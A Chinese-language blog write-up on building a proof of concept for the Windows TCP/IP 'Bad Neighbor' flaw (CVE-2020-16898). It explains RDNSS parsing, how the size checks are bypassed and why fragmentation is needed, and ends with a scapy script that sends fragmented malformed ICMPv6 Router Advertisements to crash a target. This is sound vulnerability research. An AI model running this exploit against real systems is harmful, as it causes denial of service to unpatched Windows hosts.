深入解析CVE-2020-16898“Bad Neighbor”漏洞利用技术

本文详细分析了CVE-2020-16898 Windows TCP/IP远程代码执行漏洞的利用过程,包括RDNSS包构造、链接本地地址要求、包大小验证绕过技术以及NDIS缓冲区处理机制,最终实现系统崩溃的PoC代码。

CVE-2020-16898 – 利用“Bad Neighbor”漏洞

引言

在2020年10月13日的补丁星期二,微软修复了一个非常有趣(且引人注目)的漏洞:CVE-2020-16898 – Windows TCP/IP远程代码执行漏洞。微软对该漏洞的描述如下:

“当Windows TCP/IP堆栈不正确处理ICMPv6路由器通告包时存在远程代码执行漏洞。成功利用此漏洞的攻击者可以在目标服务器或客户端上执行代码。要利用此漏洞,攻击者必须向远程Windows计算机发送特制的ICMPv6路由器通告包。该更新通过纠正Windows TCP/IP堆栈处理ICMPv6路由器通告包的方式来解决此漏洞。”

这个漏洞非常重要,我决定为其编写概念验证(PoC)。在我的工作期间,没有任何公开的利用程序。我花费了大量时间分析触发该漏洞所需的所有注意事项。即使现在,可用信息仍未提供足够的细节来触发该漏洞。这就是我决定总结我的经验的原因。

漏洞信息收集

最初,我想了解更多关于该漏洞的信息。我能找到的唯一额外信息是检测逻辑提供的分析报告。这是一个相当有趣的命运转折,关于如何防范攻击的信息对利用有所帮助。

从分析报告中我们了解到的最关键信息:

  • 需要发送RDNSS包
  • 问题出现在Length字段为偶数时
  • 负责解析包的函数将引用RDNSS负载的最后8字节作为下一个头部

RDNSS协议

递归DNS服务器选项(RDNSS)是路由器通告(RA)消息的子选项之一。RA可以通过ICMPv6发送。

RDNSS选项格式:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Length    |           Reserved            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Lifetime                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
:            Addresses of IPv6 Recursive DNS Servers            :
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Length字段描述:

  • 8位无符号整数
  • 选项长度(包括Type和Length字段)以8字节为单位
  • 如果选项中包含一个IPv6地址,最小值为3
  • 每增加一个RDNSS地址,长度增加2

问题1 – IPv6链接本地地址要求

我们发现漏洞只能在源地址为链接本地IPv6地址时被利用。这个要求限制了潜在目标!

代码中的验证逻辑检查地址是否以0xFE开头(fe80::/10链接本地前缀)。如果源地址不是链接本地地址,解析过程会在到达漏洞代码之前终止。

触发漏洞

根据检测逻辑的分析,当Length字段(选项中的第二个字节)为偶数时会出现问题。

解析逻辑执行以下计算:

1
tmp = (Length - 1) / 2

这个逻辑对奇数和偶数产生相同的结果:

  • (8 - 1) / 2 = 3
  • (7 - 1) / 2 = 3

问题在于,这同时"定义"了包的长度。由于IPv6地址为16字节长,通过提供偶数,负载的最后8字节将被用作下一个头部的开始。

问题2 – 寻找正确的头部

通过分析可用头部/选项,我们发现第二个循环只关心以下类型:

  • Type 3(前缀信息)
  • Type 24(路由信息)
  • Type 25(RDNSS)
  • Type 31(DNS搜索列表选项)

我分析了Type 24逻辑,因为它比Type 3"更小/更短"。

栈溢出

尝试生成恶意的RDNSS包,伪造路由信息作为下一个头部,但遇到了包大小验证问题。

问题3 – 包大小验证

在调试过程中发现,在以下检查中失败:

1
2
mov eax,dword ptr [r14+18h]
cmp eax,r15d

其中eax是包的大小,r15保存已消耗的数据量。在使用偶数时,正好有8字节的差异。

问题4 – 再次遇到大小问题

即使找到了正确的包布局,仍然无法进入处理路由信息头部的代码,因为另一个大小验证失败。

“伪造头部"的Length设置为最大值(0xFF),乘以8后为2040(0x7f8),但包中只剩下0xb8字节。

通过减小"伪造头部"的大小并在包后附加更多数据来解决此问题。

问题5 – NdisGetDataBuffer()和分片

最终找到了触发漏洞的所有拼图,但在NdisGetDataBuffer函数中遇到了问题。

该函数的文档说明: “如果缓冲区中的请求数据是连续的,返回值是NDIS提供的位置指针。如果数据不连续,NDIS使用Storage参数如下:如果Storage参数非NULL,NDIS将数据复制到Storage处的缓冲区。返回值是传递给Storage参数的指针。如果Storage参数为NULL,返回值为NULL。”

大的包保存在NDIS中的某个地方,并返回指向该数据的指针,而不是复制到栈上的本地缓冲区。

最简单的解决方案是分片包。这样做后,成功触发了系统崩溃。

概念验证代码

完整的PoC代码可在以下位置找到: http://site.pi3.com.pl/exp/p_CVE-2020-16898.py

代码关键部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
from scapy.all import *

v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA()
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
    "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
    # ... 更多伪造的DNS地址
]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)

这个PoC演示了如何通过精心构造的ICMPv6包利用CVE-2020-16898漏洞,最终导致目标系统崩溃。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计